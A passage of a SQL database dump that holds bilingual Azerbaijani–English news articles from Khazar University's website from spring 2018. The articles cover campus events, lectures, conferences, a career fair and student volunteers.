Rəşid Məmmədov yekunlaşdırdı və qonaqlara dərin minnətdarlığını bildirdi. O, Xəzər Universitetinin müəllimlərinin İsmayıllı rayonuna gələrək, məktəblilərlə canlı ünsiyyət qurmasını yaddaqalan bir hadisə kimi dəyərləndirdi.</p><p>Tədbirin sonunda iştirakçılara Nihal Hazırlıq Kurslarının rəhbəri ilə birgə imzalanmış Xəzər universitetinin sertifikatları təqdim edildi, bloknot və qələmlər hədiyyə olundu.</p><p>Sonra qonaqlar iştirakçılarla bərabər xatirə şəkli çəkdirdilər.</p>'),(5518,3179,'en','Meeting with students in Ismayilli','On May, 2018, Fuat Rasulov, Coordinator of working group for prospective students...','<p>On May, 2018, Fuat Rasulov, Coordinator of working group for prospective students, Alovsat Amirbayli, Director for Public Relations and Media, and Melek Kerimova, Director of Khazar Psychological Service Center, visited Ismayilli to participate in the workshop “Choice of Profession and My Future” jointly organized by Niyal Tutoring Course and Khazar University.</p><p>The meeting was held at Child and Youth Development Center in Ismayilli district. Hasan Mammadov, Director of Niyal Tutoring Course, opened the meeting. After greeting the guests, he talked about tutoring courses and then gave the floor to Alovsat Amirbayli.</p><p>Alovsat Amirbayli informed the participants about Khazar University and specialites offered by the University. He was followed by Melek Kerimova who gave students necessary advice to overcome nervousness on the eve of exams, and also provided those with advice who hesitated to make a decision on a profession.</p><p>The workshop was based on interactive discussion during which University associates answered participants’ questions. Fuat Rasulov added that the choice of university was as important as the choice of profession. A promotional video clip was demonstrated at the meeting. Moreover, the associates talked about the advantages and preferential admissions terms of Khazar University.</p><p>Toghrul Nabiyev, a student of the School of Economy and Management, delivered a speech at the meeting and underlined encouraging academic and suitable environment at Khazar University.</p><p>Rashid Mammadov, the expert of Department of Education of Ismayilli district, delivered a closing speech and expressed his gratitude to associates of Kazar University whose visit to Ismayilli was considered as a remarkable event.</p><p>At the end, the participants were presented with certificates, signed by University associates and Director of the course, as well as notepad and pens. Then a memory photo was taken.</p>'),(5519,3180,'az','“Autizmi tanıyaq” adlı maarifləndirici tədbir baş tutdu','2018-ci il aprelin 29-da Xəzər Universiteti Psixologiya departamentinin müəllimi...','<p>2018-ci il aprelin 29-da Xəzər Universiteti Psixologiya departamentinin müəllimi Kəmalə Əliyeva “Autizmi tanıyaq” adlı maarifləndirici tədbir keçirdi. Tədbirdə autizm spektr pozuntusu geniş müzakirə olundu . Tədbirdə Xəzər Universitetinin müəllimləri Dr.&nbsp;Ləman Verdiyeva, Ülkər Bayramova, Təhsil İnstitutunun əməkdaşı Fərid Süleymanov çıxış etdilər, tədbirin əhəmiyyətindən, həmçinin, inklüziv təhsilin hazırda ölkədəki vəziyyəti haqqında iştirakçılara məlumat verdilər. Maarifləndirici tədbirin sonunda Autizm sindromlu 10 yaşlı Salehin əl işi sərgisi oldu.</p>'),(5520,3180,'en','Enlightening event ‘Let’s know Autism’ took place','On April 29, 2018, Kemale Aliyeva, Instructor of the Department of Psychology...','<p>On April 29, 2018, Kemale Aliyeva, Instructor of the Department of Psychology of Khazar University, held an enlightening event entitled “Let’s know Autism”. In the event, autism spectrum disorder was discussed in details. Dr. Leman Verdiyeva and Ulkar Bayramova, instructors of Khazar University, as well as Farid Suleymanov, researcher of Institute of Education, delivered speeches informing participants about the current state of inclusive education in Azerbaijan and mentioned the importance of the event. Then the participants saw the exhibition with handicrafts by ten years old Saleh, a child with autism.</p>'),(5521,3181,'az','Belçika səfiri Xəzər Universitetində mühazirə ilə çıxış etdi','2018-ci il mayın 8-də Avropa Günü ilə əlaqədar Belçikanın Azərbaycandakı Fövqəladə...','<p>2018-ci il mayın 8-də Avropa Günü ilə əlaqədar Belçikanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Bert Schoofs Xəzər Universitetinin tələbələri üçün “Belçikanın federativ idarəetmə sistemi və Avropa İttifaqında rolu” adlı xüsusi mühazirə oxudu. Mühazirəni Siyasi elm və beynəlxalq münasibətlər departamenti tərəfdaşı olduğu&nbsp;DESCnet layihəsi çərçivəsində&nbsp;təşkil etmişdir. Görüşdə tələbələrə Belçikanın tarixi, mədəniyyəti, xarici siyasətinin prioritetləri, iqtisadiyyat və təhsil sistemi, həmçinin, ölkənin Avropa İttifaqı, NATO, ATƏT, BMT kimi beynəlxalq və regional təşkilatlarda rolu haqqında məlumat verildi.</p><p>Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayevin moderatorluğu ilə keçirilən müzakirə sual-cavab sessiyası ilə başa çatdı.</p>  \r\n<p><img src=\"/files/politics_depart/erasmus_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:200px;height:58px;margin-left:7px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<img src=\"/files/politics_depart/descnet_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:150px;height:61px\"><br></p><p><br></p><p><br></p><p><br></p>'),(5522,3181,'en','Ambassador of Belgium to Azerbaijan delivers a lecture at Khazar University','On May 8, 2018, on the occasion of Europe Day, the Ambassador of Belgium to Azerbaijan...','<p>On May 8, 2018, on the occasion of Europe Day, the Ambassador of Belgium to Azerbaijan Mr. Bert Schoofs delivered a lecture for the students of Khazar University. A special lecture of Belgium’s Ambassador, entitled “Belgium’s multi-layered structure of governance and its role in the EU”, was organized within the Network for Developing European Studies in the Caucasus (DESCnet)&nbsp;project. During the meeting, the students were informed on history, culture, priorities of foreign policy, economy, education system of Belgium and its multilateral affairs in the context of the EU, NATO, OSCE, UN.</p><p>The meeting ended with a question-and-answer session headed by Elmar Mustafayev, Coordinator of Political Science and International Relations Department.</p><p><img src=\"/files/politics_depart/erasmus_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:200px;height:58px;margin-left:7px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<img src=\"/files/politics_depart/descnet_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:150px;height:61px\"><br></p><p><br></p><p><br></p><p><br></p>'),(5523,3182,'az','“Xəzər”lilər Beynəlxalq elmi konfransda iştirak etmişlər','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimləri...','<p>Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimləri –   filologiya üzrə fəlsəfə doktoru dosent Dilbər Zeynalova, müəllim Qardaşxan Əzizxanlı, habelə doktorant Ayna Babazadə 2018-ci il mayın 3-4-də Baki Slavyan Universitetində Ümummilli Lider Heydər Əliyevin anadan olmasının 95-ci ildönümü münasibətilə keçirilmiş “Azərbaycanşünaslığın aktual problemləri” adlı IX Beynəlxalq elmi konfransda iştirak edərək, müvafiq bölmələr üzrə iclaslarda “Çağdaş roman yeni paradiqmalar kontekstində” (D. Zeynalova) “Çağdaş poeziyada Bütöv Azərbaycan idealinin poetik tərənnümü” (Q. Əzizxanlı), “Ə.Cəfərzadə nəsrində tarix və bədii təxəyyülün yeri” (A. Babazadə) mövzularında çıxış etmişlər.</p>'),(5524,3182,'en','Participation in International conference','Dilbar Zeynalova and Gardashkhan Azizkhanli, Instructors of the Department of Azerbaijani...','<p>Dilbar Zeynalova and Gardashkhan Azizkhanli, Instructors of the Department of Azerbaijani Language and Literature of Khazar University, as well as Ayna Babazadeh, PhD student, participated in IX International Scientific Conference on “Actual Problems of Azerbaijani Studies” dedicated to 95th Anniversary of National Leader, Heydar Aliyev, held on May 3-4, 2018, at Baku Slavic University. Within the conference, associates of Khazar University delivered presentations in relevant sessions on the following topics: “Contemporary novel in the context of new paradigms” (D. Zeynalova), “Representation of the idea of United Azerbaijan in modern poetry” (G. Azizkhanli), “History and artistic imagination in A.Jafarzadeh\'s prose” (A. Babazadeh).</p>'),(5525,3183,'az','“Xəzər”in əməkdaşı kitab təqdimatında','2018-ci il mayın 5-də Bakı Atatürk liseyində görkəmli ədib, tarix tədqiqatçısı...','<p>2018-ci il mayın 5-də Bakı Atatürk liseyində görkəmli ədib, tarix tədqiqatçısı Teyyub Qurbanın vəfatından sonra çapdan çıxmış, Azərbaycan Xalq Cümhuriyyətinin 100 illiyinə həsr olunan “Yüz tələbə, yüz tale” kitabının təqdimatı keçirilmiş, müəllifin xatirəsi yad edilmişdir.</p><p>Tədbiri liseyin tarix müəllimi, kitabın çapının təçəbbüskarı və ön sözün müəllifi Elmar Həsənli açaraq, kitabın çapa hazırlanması prosesində Teyyub Qurbanla görüşlərindən danışmış, kitabın çapa hazırlandığı “Şur” nəşriyyatının rəhbərliyinə və əməkdaşlarına minnətdarlığını bildirmişdir.</p><p>Kinorejissor Nazim Rza, tarixçi alim Firdovsiyyə Əhmədova, “Şur” nəşriyyatının direktoru Musa Ələkbərli, kitabın redaktoru Qərənfil Dünyaminqızı, “Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar jurnalist Əlirza Balayev və digərləri öz çıxışlarında Teyyub Qurbanın 30 il ərzində Azərbaycan Xalq Cümhuriyyətinin banisi Məhəmməd Əmin Rəsulzadəyə həsr olunan və cümhuriyyət mövzusuna aid əsərlər uzərində böyük ilham və fədakarlıqla çalışaraq bütün ədəbi yanrlarda – poeziya, proza, dramaturgiya və publisistika janrlarında məşhur əsərlər yaratmasından bəhs etmişlər.</p><p>Sonda ədibin oğlu Asəf Qurbanov tərəfindən kitabın imzalanma mərasimi keçirilmişdir.</p>'),(5526,3183,'en','Khazar’s associate in Book presentation','On May 5, 2018, the book, posthumously published, “A hundred students...','<p>On May 5, 2018, the book, posthumously published, “A hundred students, a hundred fates” dedicated to 100<sup>th</sup> anniversary of Azerbaijan Democratic Republic was presented in Baku Ataturk Lyceum. The author of the book is Teyyub Gurban, an outstanding writer and historian.</p><p>Elmar Hasanli, a History teacher of the Lyceum, an initiator of publication of the book and author of the foreword, opened the event and talked about his memories with Teyuyub Gurban. He also expressed his gratitude to administration of “Şur” publishing-house for publication of the book. Nazim Rza, film director, Firdovsiyya Ahmadova, historian, Musa Alakbarli, Director of “Şur” publishing-house, Garanfil Dunyamingizi, Editor of the book, Honored Journalist Alirza Balayev, deputy editor of Khazar Review magazine, talked about Teyyub Gurban who studied Azerbaijan Democratic Republic and Mammad Amin Rasulzadeh, the founder of the Democratic Republic, with passion for 30 years, and produced prominent masterpieces in various genres such as poetry, prose and drama.</p><p>At the end, Asaf Gurbanov, the son of the author, signed the books.</p>'),(5527,3184,'az','Karyera Sərgisi – 2018','2018-ci il mayın 29-da Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə ənənəvi...','<p>2018-ci il mayın 29-da Xəzər Universitetində Karyera Mərkəzinin təşəbbüsü ilə ənənəvi olaraq hər il keçirilən Karyera Sərgisi baş tutacaq. Tədbir Baker Tilly Azerbaijan&nbsp;şirkətinin xüsusi dəstəyi ilə həyata keçiriləcək. Sərgidə Amerika səfirliyi də daxil olmaqla, 20-ə yaxın şirkətin nümayəndələrinin iştirak edəcəyi gözlənilir. Tədbirin saat 11:00-dan 16:00-a qədər keçirilməsi planlaşdırılır.</p><p>Xəzər Universitetinin bütün tələbələrinin və iş axtaran məzunlarının tədbirdə iştirakı xüsusilə arzu olunandır.</p>'),(5528,3184,'en','Career Fair – 2018','On May 29, 2018, traditional Career Fair will take place on the initiative...','<p>On May 29, 2018, traditional Career Fair&nbsp;will take place on the initiative of Career Center of Khazar University, and on special support of Baker Tilly Azerbaijan company. About 20 companies, including USA Embassy, are expected to participate in the fair&nbsp;which will last from 11:00 to 16:00.</p><p>It is particularly desirable for all the students of Khazar University and the graduates who are currently looking for a job to attend the fair.</p>'),(5529,3185,'az','İlkay Sezer: “Mətbuatda çıxan xəbərlərin heç bir əsası yoxdur”','Xəbər verildiyi kimi, 2018-ci il mayın 3-dən 5-nə kimi Türkiyə Cümhuriyyətinin...','<p>Xəbər verildiyi kimi, 2018-ci il mayın 3-dən 5-nə kimi Türkiyə Cümhuriyyətinin 26-cı Baş Qərərgah rəisi (Genelkurmay Başqanı) orgeneral İlker Başbuğ Xəzər Universitetinin qonağı olmuşdur. Bəzi mətbu orqanlar cənab İlker Başbuğla görüşmək istəsələr də, bu cəhdlər baş tutmamışdır. Həmin mətbu orqanlar bunun səbəbi kimi Xəzər Universitetini günahlandırmışdılar.</p><p>Cənab İlker Başbuğun vəkili, İstanbul Barosunun, Türk Cəza Hüququ Dərnəyinin üzvü vəkil İlkay Sezer mətbuatda çıxan əsassız xəbərlərə öz Twitter hesabı vasitəsilə cavab vermişdir: “Xəzər Universitetinin dəvətilə Azərbaycana gedən cənab İlker Başbuğ universitetde iki konferans verdi. Ziyarət konferans məqsədi daşıdığına görə, bizim tərəfimizdən mətbuat konfransı düşünülməmişdir. Xəzər Universiteti və cənab Hamlet İsaxanlıya dəvətləri və diqqətləri üçün təşəkkür edirik”.</p><p>Bu link vasitəsilə daha ətraflı məlumat almaq olar:</p><p><a href=\"https://twitter.com/ilkaysezerav/status/993570183972352000?s=12\">https://twitter.com/ilkaysezerav/status/993570183972352000?s=12</a>.</p>'),(5530,3185,'en','İlkay Sezer: “The news in the press is completely baseless”','As it was reported, on May 3-5, 2018, İlker Başbuğ, the 26th Chief of the General Staff...','<p>As it was reported, on May 3-5, 2018, İlker Başbuğ, the 26<sup>th</sup> Chief of the General Staff of Turkey, visited Khazar University. Associates of some press agencies failed to meet with İlker Başbuğ despite their effort and blamed Khazar University for the failure.</p><p>İlkay Sezer, İlker Başbuğ’s lawyer, a member of Istanbul Bar Association, and a member of the Turkish Criminal Law Association, posted his views, on the baseless news released in the press, in his Twitter account: “İlker Başbuğ visited Azerbaijan on an invitation of Khazar University and was a key speaker at two conferences at the University. We had not planned a press conference since the purpose of the visit was to participate in a conference. We are grateful to Khazar University and Mr Hamlet Isakhanli for their invitation and kind attention.”</p>\r\n<p>More information is available at:</p><p><a href=\"https://twitter.com/ilkaysezerav/status/993570183972352000?s=12\">https://twitter.com/ilkaysezerav/status/993570183972352000?s=12</a>.</p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (5531,3186,'az','Planetar Sağlamlıq İttifaqı Xəzər Universitetinin tədbirini “Tərəfdaşlıq tədbiri” kimi qeyd etdi','2018-ci il iyunun 1-i və 2-də Xəzər Universitetinin keçirəcəyi 1-ci Beynəlxalq...','<p>2018-ci il iyunun 1-i və 2-də Xəzər Universitetinin keçirəcəyi 1-ci Beynəlxalq “<strong><em>Tək Sağlamlıq: Problemlər və Həllər</em></strong>” konfransını məşhur universitetlərin daxil olduğu Planetar Sağlamlıq İttifaqı (Planetary Health Alliance) Böyük Britaniyanın Edinburq Universitetində eyni vaxtda təşkil etdiyi illik konfransını “Tərəfdaşlıq tədbiri” kimi elan etmişdir.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://planetaryhealthannualmeeting.org/satellite-meetings/\">https://planetaryhealthannualmeeting.org/satellite-meetings/</a></p>'),(5532,3186,'en','Planetary Health Alliance noted Khazar University event as \"Partnership Event\"','1st International Conference on “One Health: Problems & Solutions” organized...','<p>1<sup>st</sup> International Conference on “<strong><em>One Health: Problems &amp; Solutions</em></strong>” organized by Khazar University and to be held on June 1-2, 2018, has been announced as a “Partner Event” by Planetary Health Alliance which organizes the annual conference at same time at the University of Edinburgh, UK.</p><p>More information is available at:</p> <p><a href=\"https://planetaryhealthannualmeeting.org/satellite-meetings/\">https://planetaryhealthannualmeeting.org/satellite-meetings/</a></p>'),(5533,3187,'az','Tarixçilər Qala Arxeoloji-Etnoqrafik Muzey Kompleksində','2018-ci il mayın 7-də Xəzər Universitetinin Tarix və arxeologiya departamentinin...','<p>2018-ci il mayın 7-də Xəzər Universitetinin Tarix və arxeologiya departamentinin təşkilatçılığı və departamentin müəllimi Samirə Qarayeva, departament assistenti Akifə Cəfərli və Təhsil fakültəsinin dekan müavini Aygün Verdiyevanın rəhbərliyi ilə birinci il tarix müəllimiyi ixtisasının tələbələri Qala Arxeoloji-Etnoqrafik Muzey Kompleksində ekskursiyada oldular. Muzey bələdçisi tələbələrə maraqlı məlumatlar verdi.</p><p>İlk dəfə muzeydə olan tələbələr əvvəlcə açıq səma altında yerləşən muzeyi gəzdilər və buradakı eksponatlarla tanış oldular.</p>'),(5534,3187,'en','History Students at Gala Archaeological and Ethnographic Museum Complex','On May 7, 2018, on an organizational support of the Department of History and Archeology...','<p>On May 7, 2018, on an organizational support of the Department of History and Archeology of Khazar University, 1<sup>st</sup> year students majoring in History Studies went on an excursion to Gala Archaeological and Ethnographic Museum Complex. The excursion was led by Samira Garayeva, Instructor of the Department, Akifa Jafarli, Assistant at the Department, and Aygun Verdiyeva, Vice-dean of the School of Education. The museum guide provided the students with interesting information.</p><p>The students strolled around the museum in the open air and got familiar with the exhibits.</p>'),(5535,3188,'az','Tədbirlərdə fəal iştiraka görə təşəkkürnamə aldılar','Xəbər verdiyimiz kimi, aprelin 20-də Xəzər Universitetinin Mərkəz kampusundakı...','<p>Xəbər verdiyimiz kimi, aprelin 20-də Xəzər Universitetinin Mərkəz kampusundakı “Dünya” konsert salonunda universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının 70 illik yubileyinə həsr olunmuş “Xəzər”in sorağında” adlı ədəbi-bədii kompozisiyadan ibarət tədbir və aprelin 20-21-də Neftçilər kampusunda I Qloballaşan Təhsil Beynəlxalq Simpoziumu keçirilmişdi.</p><p>Aprelin 25-də professor Hamlet İsaxanlı tədbirlərin təşkilatçıları və ədəbi-bədii kompozisiyanın iştirakçılarının bir qrupu ilə görüşərək, onlara Xəzər Universitetinin təşəkkürnamələrini təqdim etmişdir.</p><p>Ümumilikdə “Xəzər”in sorağında” adlı ədəbi-bədii tədbirin və I Qloballaşan Təhsil Beynəlxalq Simpoziumunun təşkilində və keçirilməsində fəal iştiraklarına görə universitetin prorektoru İsaxan İsaxanlı, Təhsil fakültəsinin dekanı Elza Səmədova, Keyfiyyətin təminatı mərkəzinin direktoru Lyudmila Sotova və assistenti Cəmilə Fərman, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Multimedia mərkəzinin direktoru Natella Barkaya, Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov, İngili dili və ədəbiyyatı departamentinin müdir müavini Eynur Mehdiyev, universitetin müəllimi Mail Yaqub, Kitabxana - informasiya mərkəzinin əməkdaşı Günel Nərimanova, Ümumi şöbənin koordinatoru Sevinc Məmmədli, “Dünya” məktəbinin rəssamı Mir Rafiq Əbdülrəhimov, AzTV-nin əməkdaşı Faizə Mehdiyeva, İctimai TV-nin aparıcısı Məhəmmədəli Ələkbərov, Azərbaycan Dövlət Gənc Tamaşaçılar Teatrının aktyoru Təbriz Əmrahlı və aktyor Nicat Əli təşəkkürnamə ilə təltif olunublar.</p>'),(5536,3188,'en','Certificates of Gratitude are issued for active participation','As it was reported, a literary and artistic composition “Searching for Khazar”...','<p>As it was reported, a literary and artistic composition “Searching for Khazar” dedicated to Prof. Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, 70th anniversary was held at “Dunya” concert hall of Khazar University on April 20, 2018, and the 1st International Symposium on Global Education was conducted on April 20-21, 2018, at Khazar University.</p><p>On April 25, Hamlet Isakhanli met with organizers of both events as well as participants of the literary and artistic composition and presented them with Certificates of Gratitude of Khazar University.</p><p>Dr. Isakhan Isakhanli, Vice-rector of the University, Elza Semedli, Dean of the School of Education, Lyudmila Sotova, Director of Quality Assurance Center, Jamila Farman, Assistant at Quality Assurance Center, Raziya Isayeva, Director of Development Center, Natella Barkaya, Director of Multimedia Center, Eynur Mehdiyev, Vice-chair of the Department of English Language and Literature, Mail Yagub, University Instructor, Gunel Narimanova, Associate of the Library and Information Center, Sevinj Mammadli, Coordinator of General Department, Mir Rafig Abdulrahimov, Artist of “Dunya” school, Faiza Mehdiyeva, Associate of AzTV, Mahammadli Alakbarov, Associate of “İctimai” TV, Tabriz Amrahli, Actor of Azerbaijan State Theatre of Young Spectators, and Nijat Ali, Actor, were awarded Certificates of Gratitude.</p>'),(5537,3189,'az','“Xəzər Xəbər” jurnalının mart nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2018 - ci il mart nömrəsi (371-ci nömrə) Xəzər Universitetinin...','<p>“Xəzər Xəbər” jurnalının 2018-ci il mart nömrəsi (371-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.&nbsp;</p><p>Jurnalı bu linkdə də oxuya bilərsiniz:&nbsp;</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(5538,3189,'en','March issue of “Khazar Review” journal is published','March, 2018 issue (issue 371) of “Khazar Review” journal has been published...','<p>March, 2018 issue (issue 371) of “Khazar Review” journal has been published by Khazar University Press.&nbsp;</p><p>The journal can be read through the following link:</p>  <p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(5539,3190,'az','THE SAME komandası ilk interaktiv seminarını BAMF-ın ofisində keçirdi','2018-ci il mayın 4-də THE SAME komandasının və Beynəlxalq AvrAsiya Mətbuat Fondunun...','<p>2018-ci il mayın 4-də THE SAME komandasının və Beynəlxalq AvrAsiya Mətbuat Fondunun təşəbbüsü ilə “İrqçilik və iqtisadi inkişaf” mövzusunda Xəzər Universitetinin və müxtəlif universitetlərin gəncləri arasında interaktiv seminar keçirildi.</p><p>İlk olaraq BAMF-ın prezidenti Umud Mirzəyev mövzunun aktuallığından və THE SAME komandasının üzərinə götürdüyü missiyanın vacibliyindən danışdı. Daha sonra THE SAME komandasının üzvü Taliyə Hüseynzadə auditoriyanı “Peer to Peer: Facebook Qlobal Rəqəmsal Çağırış” müsabiqəsi ilə tanış etdi. Sonra isə THE SAME komandasının üzvü Etibar Saatov iştirakçılara mövzu baradə geniş məlumat verərək, onlara iki mövzuda qrup işi təqdim etdi:</p><p>1) “Zəif inkişaf etmiş ölkələrdə ayrıseçkiliyin səbəbləri və həlli yolları”;</p><p>2) “İnkişaf etmiş ölkələrdə irqçiliyin səbəbləri”.</p><p>Qrup işi seminarın interaktiv keçməsinə və iştirakçıların fikir mübadiləsi aparmasına kömək oldu. Sonra tədbirin əyləncəli və yadda qalan keçməsi üçün THE SAME komandasının üzvü Xəyalə Şıxəliyeva oyunun qaydalarını izah etdi. Sonda Dr. Bahadır Baysal iştirakçılara uğur arzu edərək, onlara belə seminarların gələcək iş həyatlarında necə önəmli olduğunu haqda danışdı.</p><p>Tədbirin sonlarında Aleksandr Tusukanov adlı məhşur Volqoqrad yazıçısı tədbirə qoşularaq, mövzunun vacibliyini auditoriyaya çatdırdı və auditoryanı yeni maraqlı fikir barəsində düşünməyə çağırdı.</p><p>Sonda xatirə şəkli çəkilərək, hər bir iştirakçıya sertifikatlar paylandı.</p>\r\n<p>Bu linklər vasitəsilə daha ətraflı məlumat əldə etmək olar:</p><p><a href=\"http://eurasiadiary.com/az/news/society/278162-bamf-in-ofisinde-irqcilik-ve-iqtisadi-inkisaf-movzusunda-seminar-kecirilib\">http://eurasiadiary.com/az/news/society/278162-bamf-in-ofisinde-irqcilik-ve-iqtisadi-inkisaf-movzusunda-seminar-kecirilib</a>;</p><p><a href=\"http://eurasiadiary.com/en/news/society/278107-workshop-on-racism-and-economic-development-held-in-the-iepf-office\">http://eurasiadiary.com/en/news/society/278107-workshop-on-racism-and-economic-development-held-in-the-iepf-office</a>.</p>'),(5540,3190,'en','First interactive workshop of “THE SAME” team','On May 4, 2018, on initiatives of “THE SAME” team and International Eurasia...','<p>On May 4, 2018, on initiatives of “THE SAME” team and International Eurasia Press Fund (IEPF), an interactive workshop on “Racism and Economic Development” was held among the students of Khazar University and other universities.</p><p>Firstly, Umud Mirzayev, President of IEPF, talked about the importance of the topic and the mission of “THE SAME” team. Then Taliya Huseynzadeh, a team member of “THE SAME”, informed the audience about the competition “Peer to Peer: Facebook Global Digital Challenge”. Etibar Saatov, a team member of “THE SAME”, gave the participants detailed information about the topic and presented them with two group works with the following topics:</p><p>1) “The reasons of, and solutions to racism in poorly developed countries”;</p><p>2) “The reasons of racism in developed counties”.</p><p>Within the group works, participants had interactive discussions and exchange of views. Then Khayala Shikhaliyeva, a team member of “THE SAME”, explained the rule of the competition to make the event memorable and entertaining. Then Dr. Bahadir Baysal, wished participants success and mentioned the importance of such workshops for a future career.</p><p>Aleksandr Tusukanov, a prominent writer of Volgograd, joined the event and stressed the importance of the workshop and encouraged the participants to think about new interesting ideas.</p><p>At the end of the event, the participants were certified and a memory photo was taken.</p>\r\n<p>For further detailed information:</p>  <p><a href=\"http://eurasiadiary.com/az/news/society/278162-bamf-in-ofisinde-irqcilik-ve-iqtisadi-inkisaf-movzusunda-seminar-kecirilib\">http://eurasiadiary.com/az/news/society/278162-bamf-in-ofisinde-irqcilik-ve-iqtisadi-inkisaf-movzusunda-seminar-kecirilib</a>;</p><p><a href=\"http://eurasiadiary.com/en/news/society/278107-workshop-on-racism-and-economic-development-held-in-the-iepf-office\">http://eurasiadiary.com/en/news/society/278107-workshop-on-racism-and-economic-development-held-in-the-iepf-office</a>.</p>'),(5541,3191,'az','Karyera Mərkəzi könüllüləri seçdi','2018-ci il mayın 1-dən Xəzər Universiteti Karyera Mərkəzində 7 nəfər könüllü tələbənin...','<p>2018-ci il mayın 1-dən Xəzər Universiteti Karyera Mərkəzində 7 nəfər könüllü tələbənin fəaliyyəti başladı. Könüllülər 1 ay ərzində mərkəzin fəaliyyəti ilə yaxından tanış olmaq imkanını əldə edəcəklər. Onlar eləcə də Karyera Sərgisinə hazırlıq prosesində bütün tələbələrlə ünsiyyətdə olacaqlar. Könüllülük proqramı müddətində hər bir tələbə ixtisasına uyğun praktiki bacarıqlardan da istifadə edəcək.</p><p>Proqramı uğurla bitirən tələbələrə Karyera Mərkəzi tərəfindən sertifikat təqdim olunacaq.</p><p>Könüllülük proqramına seçilmiş tələbələr bunlardır: Mustafa Həsənli (Mühəndislik və tətbiqi elmlər fakültəsi); Toğrul Nəbiyev, Nigar Guliyeva, Ziyadxan Tağıyev, Cavid Hüseynli, Aytac Ağayeva (İqtisadiyyat və menecment fakültəsi); Rəsmin Məsimova (Təhsil fakültəsi).</p>'),(5542,3191,'en','Volunteers of Career Center','On May 1, 2018, 7 students started working as volunteers for Career Center of Khazar University...','<p>On May 1, 2018, 7 students started working as volunteers for Career Center of Khazar University. The volunteers will have an opportunity to become closely familiar with Career Center during one month, and will also be in direct contact with all students of Khazar University through the process of organization of&nbsp;Career Fair. Volunteering program will also allow each student to use practical skills in accordance with their profession.</p><p>Students successfully finishing the program will be certified by Career Center. Volunteers are as follows: Mustafa Hasanli (School of Engineering and Applied Sciences); Toghrul Nabiyev, Nigar Guliyeva, Ziyadkhan Taghiyev, Javid Huseynli, Aytaj Aghayeva (School of Economics and Management); Rasmin Masimova (School of Education).</p>'),(5543,3192,'az','Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru işgüzar səfərdə','2018-ci il mayın 8-də Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzin...','<p>2018-ci il mayın 8-də Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova ABŞ-ın Nevada Universitetinin Əlilliyi olan şəxslər üçün Resurs Mərkəzində (<em>Disability Resource Center</em>) oldu və Mərkəzin direktor assistenti Meri Anni Kristensen (<em>Mary Anne Christensen</em>) ilə görüşdü. O, görüş zamanı Nevada Universitetinin Əlilliyi olan şəxslər üçün Resurs Mərkəzin fəaliyyəti ilə tanış oldu və Xəzər Universitetində fəaliyyət göstərən Əlilliyi olan Tələbələr üçün Mərkəz haqqında məlumat verdi.</p><p>Qeyd edək ki, Rima Məmmədova hazırda ABŞ Konqresinin maliyyə dəstəyi ilə həyata keçirilən Azərbaycanda ABŞ səfirliyinin idarə etdiyi Əlilliyin Müdafiəsi və İslahatlar üçün Açıq Dünya (<em>Open World Program for Disability Advocacy and Reform</em>) adlı mübadilə proqramı çərçivəsində Amerikanın Rino şəhərində işgüzar səfərdədir.</p>'),(5544,3192,'en','Business trip of Coordinator of Center for Students with Disabilities to the USA','On May 8, 2018, Rima Mammadova, Coordinator of Center for Students with Disabilities...','<p>On May 8, 2018, Rima Mammadova, Coordinator of the Center for Students with Disabilities of Khazar University, visited Disability Resource Center of Nevada University and met with Mary Anne Christensen, Director of the Center. During the meeting, Rima Mammadova became familiar with Disability Resource Center of Nevada University and gave information about Center for Students with Disabilities at Khazar University.</p><p>At the moment, Rima Mammadova is on a business trip to Reno city, USA, within <strong><em>Open World Program for Disability Advocacy and Reform</em></strong> Exchange Program financed by USA Congress and managed by USA Embassy to Azerbaijan.</p>'),(5545,3193,'az','Humanitar və sosial elmlər fakültəsinin “Avropa mədəniyyəti və incəsənəti” dərsi Qobustanda keçirildi','2018-ci il mayın 8-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin regionşünaslıq...','<p>2018-ci il mayın 8-də Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin regionşünaslıq ixtisasının 1-ci il tələbələri fakültənin dekanı dosent Cabir Xəlilov, dekan müavini Validə Kərimova, Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev və həmin departamentin müəllimi Gülşən Kəngərlinskaya ilə birgə onun tədris etdiyi “Avropa mədəniyyəti və incəsənəti” fənnini Azərbaycan və dünyanın nadir tarixi-mədəniyyət abidə kompleksi olan Qobustan Dövlət Tarixi-Bədii Qoruğunda keçdi.</p><p>Açıq dərsin orada keçirilməsinin məqsədi fakültənin birinci kurs regionşünaslıq ixtisasının tələbələrinin dünyagörüşü, tarixi bilikləri və Azərbaycanın maddi-mədəni irsi ilə bilavasitə tanışlığını təmin etmək idi. Fakültənin tələbələrinə Böyükdaş 